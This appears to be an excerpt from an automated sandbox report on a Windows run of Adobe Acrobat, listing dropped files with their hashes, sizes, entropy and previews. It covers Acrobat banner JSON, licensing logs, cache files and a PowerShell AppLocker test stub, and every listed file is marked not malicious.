SHA1:	E94A42F9A1A0FE34EFBCC7BC43C21C6A39EBC34A
SHA-256:	67278C44B32133FFCBA28712C97EF78FED44812E6E499755401AB410842A47CD
SHA-512:	2587E7A1D3112AF5B5A0A69EF3345E51F38AD1449308F1C793FD3E7251A0C33A19A3609B1138B23EBCF4B163FDC7116FF17004E5270BBCA29524D29BFF609B24
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.272142130726292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJf+dPeUkwRe9:YvXKXjaqzcnbG28Ukee9
MD5:	2B43515DF86D1AB32B6BC4718D53C2AC
SHA1:	CB6C6FCCBD6DC4D2DA4010C11893864A279457DE
SHA-256:	626435B565F50FE4EBDC16C23B38EB907319696AB765C30FCDE71754FC7116C5
SHA-512:	2E219C452A63C6021D74F1B0E03E0824039AE9C76FB9B2955F9E9E52CAD33D71BEB3A8936F3B309C59810DDCB927D5D67FA2E232E263EA74F8C18B2A77EBC7E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.269406048932833
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJfbPtdPeUkwRe9:YvXKXjaqzcnbGDV8Ukee9
MD5:	56A0D4FEE921C13DE069BB5125417BD4
SHA1:	7FCF1D519390EA8994A4A079131370421E13E835
SHA-256:	868AB7481A1AC118777180001F98F718987AFF88B3BA8DDF2C2FD51FC6C42601
SHA-512:	5146338EEC167AEB21C3FEBD303789741997E75DB7C3A993E5A82166D0322E0043AE0D0693EB17C19FB0096B0D88141C771AC446A5AD53F0F9537FF33C4121B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2725902814590775
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJf21rPeUkwRe9:YvXKXjaqzcnbG+16Ukee9
MD5:	A4A1AEC68EBBCD56198DB9133CE19D83
SHA1:	D2F1ED88294E019654E3D84C7FDE6F6C560E95F6
SHA-256:	183CC702DDD323C1358D3D77EB5AD5A85573141C777705A34A40A1956106B808
SHA-512:	0D9A3C88236DD47BE42964E9A1DA7ADD636BECF1ECA8A11C753FC857F6DA97788887C0ADC8C088D53ACE8F12717738140C0B537C6758AB865E4FE92B7B028D78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658910873153681
Encrypted:	false
SSDEEP:	24:Yv6XjaqYn0amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJ:YvByBgkDMUJUAh8cvMJ
MD5:	E4E2BB0F67318B5D941BFAB8F4A7E597
SHA1:	EF977367384FA371A1D45096C9A5F2CAAE3EFD6D
SHA-256:	C59685A31A19C708F4D231C5F79C1E5DB3CE0511FBCDA096D61424ECE29A7295
SHA-512:	F9FADBCB13D1B96ADA78A8BBFFA0A03E2F7D1CBF879A61B6026C1750544BCD41568A802DC025538730108402CADD79155A7076255CCD2C25AC1F5725DF10C4D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.250747728026887
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJfshHHrPeUkwRe9:YvXKXjaqzcnbGUUUkee9
MD5:	2B64FB46F19EBF4935B0A037DFD37BA1
SHA1:	FCDBA327799488F6EBF3D084A28F735EF9EC0BBE
SHA-256:	1457010BDE8200140FFFD964944FF3F66722C3BDAA2C1F3D8AF08AF6787E953E
SHA-512:	F84F518F28F992EA3DFE44DBDC6C5E9AABE864D30933C4C2560F17EE4DAD8578C08B7D3A74D9EC662C4DD7B89440B970AC4898C5A0AA35DFFB611693EF8D3F78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.252265543902841
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJTqgFCrPeUkwRe9:YvXKXjaqzcnbGTq16Ukee9
MD5:	2831E0C5A65B88F5F5E2D3341B7A014A
SHA1:	0B24F1E5A31FA141B0EE8C068161B8924710C132
SHA-256:	DE332075659A6784287DEB05BCC0E79C85507D80ED5F40DA30684AD602132BC9
SHA-512:	72167C539B8AADFA504BB8F9A7152FA07F7B2ACC936BC03FDBF45A3FD7DFE59D96F24F80A9FF0B477287D5ACD066CCEB201E8C17BB9EC817E1C8E01C0C3CA4CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1294224052499375
Encrypted:	false
SSDEEP:	48:YmLh3fYQ2uD2N1psa/2P8pN6+X3I4oRoH91BXjNivQjyeuI9LR13:HtflJDW1z/2P8p4+X444qFcvQjZvLr3
MD5:	FF02EB75709DF2EF5ACF9F02E35E509C
SHA1:	07017A5DED498ED48FD542F23DD63C7C42C786D1
SHA-256:	856DC149E5311DE8D46F8C0462CBF0CC7869C6DD36741419DFAAEAB6915B4563
SHA-512:	CF900D9E54FD0ABE2F58783EAF59B1A3AC74E57B2153ADDF3652EAB328EFE669BCA859BFC363F1C68B6DFC68FC4422AAD64D66FAA207F63D3C8611701A4EC142
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"35dfd455156f53b418b2c3104ee71951","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540440000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"937bcfb44058908bb9a163847f1f5465","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540440000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"fc598e94d08472a6f146f0af63cbb699","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540440000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"20e119e64bfc0c6c7bda79431dda0348","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540440000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0924c1e4ff65bb299c6ac3ff4cbfa029","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540440000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a7d14ade1f3085e4624594ddf1609c38","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1460363042033443
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursPu+WRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUuE:TFl2GL7msPsXc+XcGNFlRYIX2v3k2y
MD5:	CD49C114B0975A0C5EAB6C25D0F15811
SHA1:	117F8CC471D63BE4A7029C62342F614FD478AA09
SHA-256:	40F4F54EA53D738B5F1594CC9AF7A2C1B8E141F77C07204168BC84AD4C0CE02D
SHA-512:	D84442EAB68A66A71D798C42FAD397C78CCC999D2E1577EAE796A3D333DE88B68333DBDA233D90985F19830A548F86AA9FEEA54ED4261133686E497EBBEA09CD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.550858118080727
Encrypted:	false
SSDEEP:	24:7+tgu+WUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxmGqLxx/9:7MgbXc+XcGNFlRYIX2vkqVl2GL7msP
MD5:	18DD0880B07AB953381485A8DC27937A
SHA1:	B1D75B651892C26C2EE2C7E640E44CEC58C46D0F
SHA-256:	D2E92C9ADCAAA6A05286C4E514C54B25FE99BA7D9A46E31F8740BE6B0E97A91D
SHA-512:	C4875957242D41B2DE3254902D32880E6F1B0D54BD71F96DBED30875A59F3ECE31255D13185C81AF16003E08E3209A25AC89DCE83ED77F8507F9D28F44C49B15
Malicious:	false
Preview:	.... .c.....#..d..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgYa4b42831i7LIOFLTtGcM2gYyu:6a6TZ44ADEX4SivIOJ0cJgK
MD5:	81A78BACF6A8E9E574A75DC0C6BAA92F
SHA1:	2ABF1B30982D6540299C302F31A089D9545D4AE2
SHA-256:	DB4471F03ADEF1D5A97D2182F40FCC4A2028B67703D70DF98F355D00721DBD4B
SHA-512:	92E7B878B01A62B5B7A53BDDD84FEA976031B56FB384DD560BB368212AD76ED3EB59C0562E806C94EA9F48CB211FD28BE488FA08AF02A81BC0AAA029486E33E6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc1451.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEWcCH:Qw946cPbiOxDlbYnuRK+bDWBH
MD5:	E9B0F6B7F694F1E9AE2DEE3D2482F8E1
SHA1:	D6E94B857C89EF27A3CA2F5BA614F49AA406F8E4
SHA-256:	4F959369A5780D5C7A7676AEBD94A9A710B872D1182E220DB7E0602B32FBE055
SHA-512:	70BCF0C6BBAA7CA310EB5264D1E88B425296924B7FDAB1E1AAF504ED043349C8B50CE5A4E6CB434D3027A181BA278F630F9F7B236F1CA697867BF43CFBAF3EEE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.2.0.:.4.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_peeotlfz.yey.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgtgiy5r.01z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-20-33-138.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.351412523418627
Encrypted:	false
SSDEEP:	384:kkyVeVpVeVuVFVg7VhVEVsVCmV3VPVfzxzW9P959H9xM+M+MLM2M4RLVLRLXKzKX:Awq
MD5:	548DD744B69B0C84C5BD77BC32B08513
SHA1:	D301C19208D72ACD9E0F5D5E820F4FAF11B3DB46
SHA-256:	09BE7A25403D2D48D39C6F3898E9525BF185D851832927010A8AF9C60173B790
SHA-512:	BEFC317807355CC237162615559658A9E67EB6C71A44510B11EFB0AD9B57DB92F59F290E5F9A6000E5E17FBA4D38F4223A10158B192E65AF8A66F11ECFEEAA8F
Malicious:	false
Preview:	SessionID=e5c23858-d9ce-4675-b780-956e7b7d80cc.1736540433168 Timestamp=2025-01-10T15:20:33:168-0500 ThreadID=7756 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e5c23858-d9ce-4675-b780-956e7b7d80cc.1736540433168 Timestamp=2025-01-10T15:20:33:169-0500 ThreadID=7756 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e5c23858-d9ce-4675-b780-956e7b7d80cc.1736540433168 Timestamp=2025-01-10T15:20:33:169-0500 ThreadID=7756 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e5c23858-d9ce-4675-b780-956e7b7d80cc.1736540433168 Timestamp=2025-01-10T15:20:33:169-0500 ThreadID=7756 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e5c23858-d9ce-4675-b780-956e7b7d80cc.1736540433168 Timestamp=2025-01-10T15:20:33:169-0500 ThreadID=7756 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3932430127663125
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb1pcb6I5/cbJ:V3fOCIdJDeru58
MD5:	5736EEA0D0FE214A96982D9B66902737
SHA1:	7560F714736A9E86E68A6FB8420FE23FDB22DD37
SHA-256:	B26A0F3D0A96473997295D961EA96DD7184F7C456B1C49AF3ABEAF7F3D0A4DD1
SHA-512:	11F7A913CC7CF928A291B634FEDF11610CE7D08D892CB2181D640B41F5CD3C9F8887CE6DAD7D803198768EF0EFFAF621A6D62F855C05874ED15AAF4CD2E27575
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\017168a4-5a67-4f61-9d80-b1c3b8635511.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\0b2e8da7-6535-4fe3-9e5f-e8ddd9c720ff.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
